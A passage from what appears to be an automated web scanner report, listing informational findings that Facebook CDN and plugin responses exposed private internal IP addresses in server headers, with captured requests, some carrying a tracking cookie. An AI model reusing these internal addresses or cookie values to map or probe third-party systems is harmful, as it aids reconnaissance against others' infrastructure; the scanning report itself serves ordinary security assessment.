...[SNIP]...

20.10. http://external.ak.fbcdn.net/safe_image.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://external.ak.fbcdn.net
Path:	/safe_image.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.54.126.54

Request

GET /safe_image.php?d=AQDFADh7TqtijkTX&url=http%3A%2F%2F4.bp.blogspot.com%2F-Yoo5MpW62Ak%2FTm-iVxFbFKI%2FAAAAAAAAC90%2FbSp1U0gljjw%2Fs72-c%2F2yy8i1j.jpg HTTP/1.1
Host: external.ak.fbcdn.net
Proxy-Connection: keep-alive
Referer: http://www.facebook.com/plugins/recommendations.php?header=true&height=450&linktarget=_blank&locale=en_US&sdk=joey&site=http%3A%2F%2Fwww.thehackernews.com%2F&width=290
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: image/jpeg
X-FB-Server: 10.54.126.54
X-Cnection: close
Content-Length: 1777
Vary: Accept-Encoding
Cache-Control: public, max-age=86400
Expires: Sat, 17 Sep 2011 17:54:49 GMT
Date: Fri, 16 Sep 2011 17:54:49 GMT
Connection: close

......JFIF.............>CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality
...C........... .
................... $.' ",#..(7),01444.'9=82<.342...C. .....2!.!2222222222222222222222222222
...[SNIP]...

20.11. http://external.ak.fbcdn.net/safe_image.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://external.ak.fbcdn.net
Path:	/safe_image.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.64.189.46

Request

GET /safe_image.php?d=AQDIHPy4e2QqyxZZ&url=http%3A%2F%2F2.bp.blogspot.com%2F-p-Y6wCqU1wI%2FTmuXtEEdRwI%2FAAAAAAAAC88%2FwK27xaKWbr4%2Fs72-c%2F14.jpg HTTP/1.1
Host: external.ak.fbcdn.net
Proxy-Connection: keep-alive
Referer: http://www.facebook.com/plugins/recommendations.php?header=true&height=450&linktarget=_blank&locale=en_US&sdk=joey&site=http%3A%2F%2Fwww.thehackernews.com%2F&width=290
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: image/jpeg
X-FB-Server: 10.64.189.46
X-Cnection: close
Content-Length: 2277
Vary: Accept-Encoding
Cache-Control: public, max-age=86400
Expires: Sat, 17 Sep 2011 17:54:49 GMT
Date: Fri, 16 Sep 2011 17:54:49 GMT
Connection: close

......JFIF.............>CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality
...C........... .
................... $.' ",#..(7),01444.'9=82<.342...C. .....2!.!2222222222222222222222222222
...[SNIP]...

20.12. http://external.ak.fbcdn.net/safe_image.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://external.ak.fbcdn.net
Path:	/safe_image.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.27.234.112

Request

GET /safe_image.php?d=AQAxtvEtsYrBh2nD&url=http%3A%2F%2F1.bp.blogspot.com%2F-nH9c1Pt2JkQ%2FTnD1E-A_QRI%2FAAAAAAAAC-I%2FCPkeJCOY7uU%2Fs72-c%2Fmcafee-security-i.jpg HTTP/1.1
Host: external.ak.fbcdn.net
Proxy-Connection: keep-alive
Referer: http://www.facebook.com/plugins/recommendations.php?header=true&height=450&linktarget=_blank&locale=en_US&sdk=joey&site=http%3A%2F%2Fwww.thehackernews.com%2F&width=290
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: image/jpeg
X-FB-Server: 10.27.234.112
X-Cnection: close
Content-Length: 1977
Vary: Accept-Encoding
Cache-Control: public, max-age=86400
Expires: Sat, 17 Sep 2011 17:54:50 GMT
Date: Fri, 16 Sep 2011 17:54:50 GMT
Connection: close

......JFIF.............>CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality
...C........... .
................... $.' ",#..(7),01444.'9=82<.342...C. .....2!.!2222222222222222222222222222
...[SNIP]...

20.13. http://external.ak.fbcdn.net/safe_image.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://external.ak.fbcdn.net
Path:	/safe_image.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.42.213.69

Request

GET /safe_image.php?d=AQDYztJTEHTcyElu&url=http%3A%2F%2F3.bp.blogspot.com%2F_bCYQxIvMQ2U%2FTRqK9wgVGzI%2FAAAAAAAAAdc%2FtD-g16bzFlg%2Fs72-c%2FuHqRnMmR.jpg HTTP/1.1
Host: external.ak.fbcdn.net
Proxy-Connection: keep-alive
Referer: http://www.facebook.com/plugins/recommendations.php?header=true&height=450&linktarget=_blank&locale=en_US&sdk=joey&site=http%3A%2F%2Fwww.thehackernews.com%2F&width=290
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: image/jpeg
X-FB-Server: 10.42.213.69
X-Cnection: close
Content-Length: 2064
Vary: Accept-Encoding
Cache-Control: public, max-age=86400
Expires: Sat, 17 Sep 2011 17:54:49 GMT
Date: Fri, 16 Sep 2011 17:54:49 GMT
Connection: close

......JFIF.............>CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality
...C........... .
................... $.' ",#..(7),01444.'9=82<.342...C. .....2!.!2222222222222222222222222222
...[SNIP]...

20.14. http://external.ak.fbcdn.net/safe_image.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://external.ak.fbcdn.net
Path:	/safe_image.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.63.32.34

Request

GET /safe_image.php?d=AQCi6HHD68DxU8Id&url=http%3A%2F%2F2.bp.blogspot.com%2F-5zIBHbO9nWQ%2FTmzvftai4aI%2FAAAAAAAAC9U%2Fc1PXw6RMUNk%2Fs72-c%2FUntitled.png HTTP/1.1
Host: external.ak.fbcdn.net
Proxy-Connection: keep-alive
Referer: http://www.facebook.com/plugins/recommendations.php?header=true&height=450&linktarget=_blank&locale=en_US&sdk=joey&site=http%3A%2F%2Fwww.thehackernews.com%2F&width=290
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: image/png
X-FB-Server: 10.63.32.34
X-Cnection: close
Content-Length: 9106
Cache-Control: public, max-age=86400
Expires: Sat, 17 Sep 2011 17:54:49 GMT
Date: Fri, 16 Sep 2011 17:54:49 GMT
Connection: close

.PNG
.
...IHDR...H...H.....U..G.. .IDATx...y.\.y.....v.>.,.bwA. H..H..h..d.:h].)KJE....*.rU*....)EI)V$[...".GE.%..MJ.I. ..I. .r.....fgg.]..?...b ..,....Wo.{._.u.w..k..g.U..3.|..h.*. !@..`.E....k
...[SNIP]...

20.15. http://static.ak.fbcdn.net/connect.php/js/FB.Share previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://static.ak.fbcdn.net
Path:	/connect.php/js/FB.Share

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.27.53.115

Request

GET /connect.php/js/FB.Share HTTP/1.1
Host: static.ak.fbcdn.net
Proxy-Connection: keep-alive
Referer: http://thehackernews.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
If-None-Match: "358664d9830976a45e88c22693bb3d9e"

Response

HTTP/1.1 200 OK
ETag: "719d8c9dbe871fa067a9d554a223f91a"
Vary: Accept-Encoding
Content-Type: application/x-javascript; charset=utf-8
X-FB-Server: 10.27.53.115
X-Cnection: close
Content-Length: 6585
Cache-Control: public, max-age=335
Expires: Fri, 16 Sep 2011 18:00:10 GMT
Date: Fri, 16 Sep 2011 17:54:35 GMT
Connection: close

/*1315960186,169555315,JIT Construction: v440498,en_US*/

if (!window.FB) {FB = {};} if(!FB.dynData) { FB.dynData = {"site_vars":{"canvas_client_compute_content_size_method":1,"use_postMessage":0,"use
...[SNIP]...

20.16. http://static.ak.fbcdn.net/connect/xd_proxy.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://static.ak.fbcdn.net
Path:	/connect/xd_proxy.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.30.148.191

Request

GET /connect/xd_proxy.php?version=3 HTTP/1.1
Host: static.ak.fbcdn.net
Proxy-Connection: keep-alive
Referer: http://www.facebook.com/plugins/like.php?channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df2f0caa20c%26origin%3Dhttp%253A%252F%252Fwww.powermta.port25.com%252Ff304dfb324%26relation%3Dparent.parent%26transport%3Dpostmessage&extended_social_context=false&href=http%3A%2F%2Fwww.powermta.port25.com&layout=button_count&locale=en_US&node_type=link&sdk=joey&show_faces=false&width=90
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.30.148.191
X-Cnection: close
Content-Length: 2481
Vary: Accept-Encoding
Cache-Control: public, max-age=71572
Expires: Sat, 17 Sep 2011 11:19:48 GMT
Date: Fri, 16 Sep 2011 15:26:56 GMT
Connection: close

<!doctype html>
<html>
<head>
<title>XD Proxy</title>
</head>
<body onload="doFragmentSend()">
<div
id="swf_holder"
style="position: absolute; top: -10000px; width: 1px; heig
...[SNIP]...

20.17. http://static.ak.fbcdn.net/rsrc.php/v1/yE/r/mfIzqmOUElv.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://static.ak.fbcdn.net
Path:	/rsrc.php/v1/yE/r/mfIzqmOUElv.js

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.30.148.192

Request

GET /rsrc.php/v1/yE/r/mfIzqmOUElv.js HTTP/1.1
Host: static.ak.fbcdn.net
Proxy-Connection: keep-alive
Referer: http://www.facebook.com/plugins/likebox.php?href=http%3A%2F%2Fwww.facebook.com%2Fblackbaud&width=250&colorscheme=light&show_faces=true&stream=false&header=false&height=258
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
Last-Modified: Thu, 15 Sep 2011 09:26:47 GMT
X-FB-Server: 10.30.148.192
X-Cnection: close
Content-Length: 96819
Vary: Accept-Encoding
Cache-Control: public, max-age=31428715
Expires: Fri, 14 Sep 2012 09:41:14 GMT
Date: Fri, 16 Sep 2011 15:29:19 GMT
Connection: close

/*1316079713,169776320*/

if (window.CavalryLogger) { CavalryLogger.start_js(["cXxlk"]); }

function object(b){var a=new Function();a.prototype=b;return new a();}function is_scalar(a){return (/string|
...[SNIP]...

20.18. http://static.ak.fbcdn.net/rsrc.php/v1/yK/r/jSVhQVZmVYK.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://static.ak.fbcdn.net
Path:	/rsrc.php/v1/yK/r/jSVhQVZmVYK.css

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.138.64.186

Request

GET /rsrc.php/v1/yK/r/jSVhQVZmVYK.css HTTP/1.1
Host: static.ak.fbcdn.net
Proxy-Connection: keep-alive
Referer: http://www.facebook.com/plugins/likebox.php?href=http%3A%2F%2Fwww.facebook.com%2Fblackbaud&width=250&colorscheme=light&show_faces=true&stream=false&header=false&height=258
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/css; charset=utf-8
Last-Modified: Thu, 15 Sep 2011 21:53:01 GMT
X-FB-Server: 10.138.64.186
Content-Length: 22047
Vary: Accept-Encoding
Cache-Control: public, max-age=31473260
Expires: Fri, 14 Sep 2012 22:03:39 GMT
Date: Fri, 16 Sep 2011 15:29:19 GMT
Connection: close

/*1316124278,176832698*/

.async_throbber .async_saving{background:url(http://static.ak.fbcdn.net/rsrc.php/v1/yb/r/GsNJNwuI-UM.gif) no-repeat right;padding-right:20px}
.async_throbber_left .async_savi
...[SNIP]...

20.19. http://static.ak.fbcdn.net/rsrc.php/v1/yU/r/bSOHtKbCGYI.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://static.ak.fbcdn.net
Path:	/rsrc.php/v1/yU/r/bSOHtKbCGYI.png

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.30.146.199

Request

GET /rsrc.php/v1/yU/r/bSOHtKbCGYI.png HTTP/1.1
Host: static.ak.fbcdn.net
Proxy-Connection: keep-alive
Referer: http://thehackernews.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Length: 101
Content-Type: image/png
Last-Modified: Mon, 04 Jul 2011 08:53:26 GMT
X-FB-Server: 10.30.146.199
X-Cnection: close
Cache-Control: public, max-age=27037745
Expires: Wed, 25 Jul 2012 16:23:42 GMT
Date: Fri, 16 Sep 2011 17:54:37 GMT
Connection: close

.PNG
.
...IHDR.............+.<....,IDAT.[c.u...7..b`.l. 1. ...P$`.(...p tA..6..|..........IEND.B`.

20.20. http://static.ak.fbcdn.net/rsrc.php/v1/ya/r/OT9e0gZvbwr.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://static.ak.fbcdn.net
Path:	/rsrc.php/v1/ya/r/OT9e0gZvbwr.js

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.30.148.190

Request

GET /rsrc.php/v1/ya/r/OT9e0gZvbwr.js HTTP/1.1
Host: static.ak.fbcdn.net
Proxy-Connection: keep-alive
Referer: http://www.facebook.com/plugins/recommendations.php?header=true&height=450&linktarget=_blank&locale=en_US&sdk=joey&site=http%3A%2F%2Fwww.thehackernews.com%2F&width=290
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
Last-Modified: Thu, 15 Sep 2011 09:28:22 GMT
X-FB-Server: 10.30.148.190
X-Cnection: close
Content-Length: 176673
Vary: Accept-Encoding
Cache-Control: public, max-age=31420128
Expires: Fri, 14 Sep 2012 09:43:37 GMT
Date: Fri, 16 Sep 2011 17:54:49 GMT
Connection: close

/*1316079814,169776318*/

if (window.CavalryLogger) { CavalryLogger.start_js(["ghcdO"]); }

function hasArrayNature(a){return (!!a&&(typeof a=='object'||typeof a=='function')&&('length' in a)&&!('setI
...[SNIP]...

20.21. http://static.ak.fbcdn.net/rsrc.php/v1/yc/r/oV2G4fzMmpF.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://static.ak.fbcdn.net
Path:	/rsrc.php/v1/yc/r/oV2G4fzMmpF.css

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.138.64.186

Request

GET /rsrc.php/v1/yc/r/oV2G4fzMmpF.css HTTP/1.1
Host: static.ak.fbcdn.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.facebook.com/plugins/like.php?channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df2dce89747d6b34%26origin%3Dhttp%253A%252F%252Fwww.powermta.port25.com%252Ff395a961e1aa194%26relation%3Dparent.parent%26transport%3Dpostmessage&extended_social_context=false&href=http%3A%2F%2Fwww.powermta.port25.com&layout=button_count&locale=en_US&node_type=link&sdk=joey&show_faces=false&width=90

Response

HTTP/1.1 200 OK
Content-Type: text/css; charset=utf-8
Last-Modified: Wed, 14 Sep 2011 02:00:53 GMT
X-FB-Server: 10.138.64.186
Content-Length: 17354
Vary: Accept-Encoding
Cache-Control: public, max-age=31472917
Expires: Fri, 14 Sep 2012 22:05:06 GMT
Date: Fri, 16 Sep 2011 15:36:29 GMT
Connection: close

/*1316124292,176832698*/

.pas{padding:5px}
.pam{padding:10px}
.pal{padding:20px}
.pts{padding-top:5px}
.ptm{padding-top:10px}
.ptl{padding-top:20px}
.prs{padding-right:5px}
.prm{padding-right:10px}
.
...[SNIP]...

20.22. http://static.ak.fbcdn.net/rsrc.php/v1/yn/r/V2gsYdzZe8g.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://static.ak.fbcdn.net
Path:	/rsrc.php/v1/yn/r/V2gsYdzZe8g.png

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.30.147.195

Request

GET /rsrc.php/v1/yn/r/V2gsYdzZe8g.png HTTP/1.1
Host: static.ak.fbcdn.net
Proxy-Connection: keep-alive
Referer: http://www.facebook.com/plugins/recommendations.php?header=true&height=450&linktarget=_blank&locale=en_US&sdk=joey&site=http%3A%2F%2Fwww.thehackernews.com%2F&width=290
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Length: 158
Content-Type: image/png
Last-Modified: Thu, 08 Sep 2011 21:42:21 GMT
X-FB-Server: 10.30.147.195
X-Cnection: close
Cache-Control: public, max-age=30862002
Expires: Fri, 07 Sep 2012 22:41:31 GMT
Date: Fri, 16 Sep 2011 17:54:49 GMT
Connection: close

.PNG
.
...IHDR.............;mG....eIDAT8.c...?...L$V..o.9.$...b....0I.$T.......0@.!...m..f.....d.(,......aB.!.I....l..a.Y.....P%.R.(.......T........IEND.B`.

20.23. http://static.ak.fbcdn.net/rsrc.php/v1/yv/r/EXJI6u8Gt3X.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://static.ak.fbcdn.net
Path:	/rsrc.php/v1/yv/r/EXJI6u8Gt3X.js

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.30.145.197

Request

GET /rsrc.php/v1/yv/r/EXJI6u8Gt3X.js HTTP/1.1
Host: static.ak.fbcdn.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.facebook.com/plugins/like.php?channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df2dce89747d6b34%26origin%3Dhttp%253A%252F%252Fwww.powermta.port25.com%252Ff395a961e1aa194%26relation%3Dparent.parent%26transport%3Dpostmessage&extended_social_context=false&href=http%3A%2F%2Fwww.powermta.port25.com&layout=button_count&locale=en_US&node_type=link&sdk=joey&show_faces=false&width=90

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
Last-Modified: Thu, 15 Sep 2011 09:27:48 GMT
X-FB-Server: 10.30.145.197
X-Cnection: close
Content-Length: 184569
Vary: Accept-Encoding
Cache-Control: public, max-age=31428201
Expires: Fri, 14 Sep 2012 09:39:50 GMT
Date: Fri, 16 Sep 2011 15:36:29 GMT
Connection: close

/*1316079628,169775557*/

if (window.CavalryLogger) { CavalryLogger.start_js(["fbhRl"]); }

function hasArrayNature(a){return (!!a&&(typeof a=='object'||typeof a=='function')&&('length' in a)&&!('setI
...[SNIP]...

20.24. http://www.facebook.com/connect/connect.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/connect/connect.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.62.214.47

Request

Response

20.25. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.62.244.39

Request

GET /plugins/like.php?channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df3fb3b50ec%26origin%3Dhttp%253A%252F%252Fwww.powermta.port25.com%252Ff1bd4afb4c%26relation%3Dparent.parent%26transport%3Dpostmessage&extended_social_context=false&href=http%3A%2F%2Fwww.powermta.port25.com&layout=button_count&locale=en_US&node_type=link&sdk=joey&show_faces=false&width=90 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Flanding.php%3Fcampaign_id%3D137675572948107%26partner_id%3D%26placement%3Drecommendations%26extra_2%3DUS; datr=ivleTmw_y94Pr8J55qefqDAM

Response

20.26. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.62.243.60

Request

GET /plugins/like.php?channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df11e0c15e%26origin%3Dhttp%253A%252F%252Fwww.powermta.port25.com%252Ff35dd5f884%26relation%3Dparent.parent%26transport%3Dpostmessage&extended_social_context=false&href=http%3A%2F%2Fwww.powermta.port25.com&layout=button_count&locale=en_US&node_type=link&sdk=joey&show_faces=false&width=90 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/download-a-white-paper/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Flanding.php%3Fcampaign_id%3D137675572948107%26partner_id%3D%26placement%3Drecommendations%26extra_2%3DUS; datr=ivleTmw_y94Pr8J55qefqDAM

Response

20.27. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.64.56.44

Request

GET /plugins/like.php?channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df3a83eb78c%26origin%3Dhttp%253A%252F%252Fthehackernews.com%252Ff38284c19c%26relation%3Dparent.parent%26transport%3Dpostmessage&extended_social_context=false&href=http%3A%2F%2Fwww.facebook.com%2Fpages%2FThe-Hacker-News%2F172819872731894&layout=standard&locale=en_US&node_type=link&sdk=joey&show_faces=true&width=600 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://thehackernews.com/2011/09/godaddy-websites-compromised-with.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Flanding.php%3Fcampaign_id%3D137675572948107%26partner_id%3D%26placement%3Drecommendations%26extra_2%3DUS; datr=ivleTmw_y94Pr8J55qefqDAM

Response

20.28. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.64.34.53

Request

GET /plugins/like.php?channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Dfe2dce398%26origin%3Dhttp%253A%252F%252Fthehackernews.com%252Ff2c1c37b3%26relation%3Dparent.parent%26transport%3Dpostmessage&extended_social_context=false&href=https%3A%2F%2Fwww.facebook.com%2Fthehackernews&layout=button_count&locale=en_US&node_type=link&sdk=joey&send=false&show_faces=false&width=450 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://thehackernews.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Flanding.php%3Fcampaign_id%3D137675572948107%26partner_id%3D%26placement%3Drecommendations%26extra_2%3DUS; datr=ivleTmw_y94Pr8J55qefqDAM

Response

20.29. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.64.52.30

Request

GET /plugins/like.php?channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df2e1211524%26origin%3Dhttp%253A%252F%252Fthehackernews.com%252Ff38284c19c%26relation%3Dparent.parent%26transport%3Dpostmessage&extended_social_context=false&href=https%3A%2F%2Fwww.facebook.com%2Fthehackernews&layout=button_count&locale=en_US&node_type=link&sdk=joey&send=false&show_faces=false&width=450 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://thehackernews.com/2011/09/godaddy-websites-compromised-with.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Flanding.php%3Fcampaign_id%3D137675572948107%26partner_id%3D%26placement%3Drecommendations%26extra_2%3DUS; datr=ivleTmw_y94Pr8J55qefqDAM

Response

20.30. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.62.252.62

Request

